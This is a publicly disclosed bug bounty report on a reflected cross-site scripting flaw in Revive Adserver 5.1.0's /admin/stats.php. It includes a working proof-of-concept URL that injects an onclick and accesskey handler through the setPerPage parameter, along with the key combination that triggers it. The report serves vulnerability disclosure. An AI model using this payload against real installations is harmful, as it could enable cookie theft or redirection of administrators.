HexBrain

Revive Adserver · Report #1083376

Reflected XSS on /admin/stats.php

Validstatus
mediumseverity
24upvotes
26 Jan 2021disclosed

How it was found

I found a reflected XSS attack on /admin/stats.php.

Revive-Adserver version is revive-adserver-5.1.0.

  • Go to http://revive-adserver.loc/admin/stats.php?statsBreakdown=day&listorder=key&orderdirection=up&day=&setPerPage=15%27%20onclick=alert(document.domain)%20accesskey=X%20&entity=global&breakdown=history&period_preset=last_month&period_start=01+December+2020&period_end=31+December+2020

  • For the payload to be executed, the user needs to press the access key combination for the hidden input field (for Firefox, Alt+Shift+X, see this for other browsers).

{F1166756}

Impact

With this vulnerability, an attacker can for example steal users cookies or redirect users on malicious website.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original